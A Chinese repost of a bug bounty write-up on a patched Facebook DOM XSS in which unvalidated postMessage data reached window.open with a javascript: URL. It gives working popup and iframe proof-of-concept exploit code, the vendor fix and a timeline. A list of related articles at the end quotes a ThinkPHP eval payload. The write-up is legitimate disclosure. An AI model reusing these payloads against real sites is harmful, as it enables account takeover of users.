Bug Bounty:$20000 Facebook DOM XSS

window.postMessage()方法保证窗口对象之间的安全跨域通信;例如,在页面和它产生的弹出窗口之间,或者在页面和嵌入其中的iFrame之间。

更多关于window.postMessage()方法的知识可以查阅Mozilla PostMessage文档

如果想了解更多关于postMessage和跨域通信的知识,可以动一动小手戳以下链接
How cross window/frame communication happens in Javascript
https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

背景

postMessage触发的DOM XSS可能被多数的赏金猎人忽略了,他们大都以为这是一个很低级的漏洞。

最近,我的研究重点从管理员面板转向了客户端漏洞(如果查看我的HackerOne报告,我的大多数漏洞报告都是打开后台管理员面板或Github凭据泄漏).
一开始,我研究了XSSI、JSONP和postMessage的漏洞。但是XSSI和JSONP漏洞非常少见,自从引入了SameSite cookie 之后,这些漏洞就不存在了。因此,知难而退,我开始研究postMessage漏洞,但大多数安全防护人员都忽略了这种漏洞,且它非常易于调试且无需绕过防火墙。
另外,为了方便起见,我创建了一个Chrome扩展程序来查看/记录发生在网页上的跨窗口通信。
通常,网站在小部件、插件或WebSDK上使用IFRAME通信。因此我开始研究facebook的第三方插件原理。
我发现Facebook Login SDK for JavaScript创建了一个用于跨域通信的代理iframeV6.0/plugins/login_button.php。代理框架渲染“Continue with Facebook”按钮。但有趣的是,javascript SDK向代理框架发送了一个初始化有效负载,其中包含按钮的单击URL。登录SDK流程如下
1

<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>

2

Facebook Javascript SDK将初始有效负载发送到iFrame代理。
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*')

3

When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe. 
Which is the url from postMessage payload

4

弹出窗口通过以下方式将访问令牌和签名请求发送到第三方网站。
window.opener.parent.postMessage(result,Origin)

如果我们仔细查看有效负载,SDK会将url参数发送到facebook插件iframe,并将其转换为i变量,当按钮单击事件触发时,将执行下面的函数。

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

可以通过window.open('javascript:alert(document.domain)')触发DOMXSS,而且JavaScript中没有url/schema验证。
因此,如果我们将带有url:'javascript:alert(document.domain)'的有效负载发送到https://www.facebook.com/v6.0/plugins/login_button.php iframe,当用户单击Continue With Facebook按钮时,javascript:alert(document.domain)会在facebook.com域上执行。

exploit the iframe

有两种方法可以利用这个bug。

通过打开弹出窗口并与其通信。
打开iFrame并与其通信

Pop-up method

<script>   
   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

   setTimeout(function(){
        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
        opener.postMessage(message, '*');
    },'4000');
</script>

Iframe method

由于此端点缺少“X-Frame-Options”或CSP“Frame-Anchors”标头,因此很容易将此页面嵌入到攻击者的页面中。

<script>
function fbFrameLoaded() {
  var iframeEl = document.getElementById('fbframe');
  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
  iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

修复

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),
j = c.call;
d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

Facebook通过在有效负载url参数中添加facebook.com regex域和模式检查修复了此问题。

影响

由于post message配置不正确,当用户访问被攻击者控制的网站时,如果用户单击了Facebook按钮,就会触发fackbook.com域上的XSS。一键式账户接管就完成了。

时间线

2020年4月17日-发送初次漏洞报告。
2020年4月17日-报告确认。
2020年4月29日– Facebook确认修复bug。
2020年5月1日– 奖励2w美元赏金。

https://vinothkumar.me/20000-facebook-dom-xss/

本文来源于: https://xz.aliyun.com/t/7783

相关推荐

CVE-2019-18679 Squid 敏感信息泄漏

0x1 前言 Squid是一个开源的高性能的代理缓存服务器。它接受来自客户端的请求并适当地处理这些请求。例如,如果一个人想下载一web页面,他请求Squid为他取得这个页面。Squid随之连接到远程服务器并向这个页面发出请求。然后,Squi

某cms代码审计引发的思考

0x01、前言 在CNVD闲逛的时候看到这款CMS,发现常见的用于getshell的漏洞都有人提交过,顿时来了兴趣,下载下来经过审计发现漏洞的利用方式和常规方法稍有不同,尤其是对于文件上传的漏洞来说,在以前的测试中主要集中在图片附件之类的地

Potato家族本地提权细节

本文结合POC源码,研究Potato家族本地提权细节 Feature or vulnerability 该提权手法的前提是拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,以下

一次对参数编码混淆越权的尝试

一、前言 当你进行越权测试遇到参数被混淆编码时是简单的尝试然后放弃,还是和他杠上?,本文将介绍一次对某系统某参数有混淆编码的越权尝试。 二、越权尝试 1、登录某系统,点击保存 2、使用burp抓包,发现key参数: RuYW1lPVRfW

CVE-2017-16995复现与分析

CVE-2017-16995复现与分析 前言 CVE-2017-16995是一个内核提权漏洞,最近PWN2OWN爆出了一个ebpf模块相关的提权漏洞,因此打算系统地学习一下ebpf这个内核模块,并复现和分析与之相关的内核漏洞,之前先知已经有

mailoney蜜罐学习记录

蜜罐介绍 Mailoney是T-pot蜜罐系统中针对SMTP协议的一个蜜罐,该蜜罐中有三种工作模式,分别为open_relay,postfix_creds,schizo_open_relay。各种模式功能如下: open_relay-只是一

CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE

原文地址:https://frichetten.com/blog/cve-2020-11108-pihole-rce/ 以下是CVE-2020-11108的writeup,Pi-hole Web应用程序的认证用户可以通过CVE-2020-1

VMPwn之温故知新

VMPwn之温故知新 前言 VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯

浅析域渗透中的组策略利用

浅析域渗透中的组策略利用 0x0 前言 最近在实战过程和比赛过程都遇到了这个点,发现攻击面其实挺宽广的,这里记录下自己的分析和学习过程。 0x1 多域环境 test.local 域 DC: 10.211.55.38 win2012 Admi

Thinkphp5代码执行学习

缓存类RCE 版本 5.0.0<=ThinkPHP5<=5.0.10 Tp框架搭建 环境搭建 测试payload ?username=syst1m%0d%0a@eval($_GET[_]);// 可以看到已经写入了缓存 漏洞分析 think

XPATH注入学习

0x00、前言 转眼这学期上完就要找实习了,在网上找了一些面经来看,看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入,对xpath注入的权限绕过和盲注并不了解,以下为这次学习的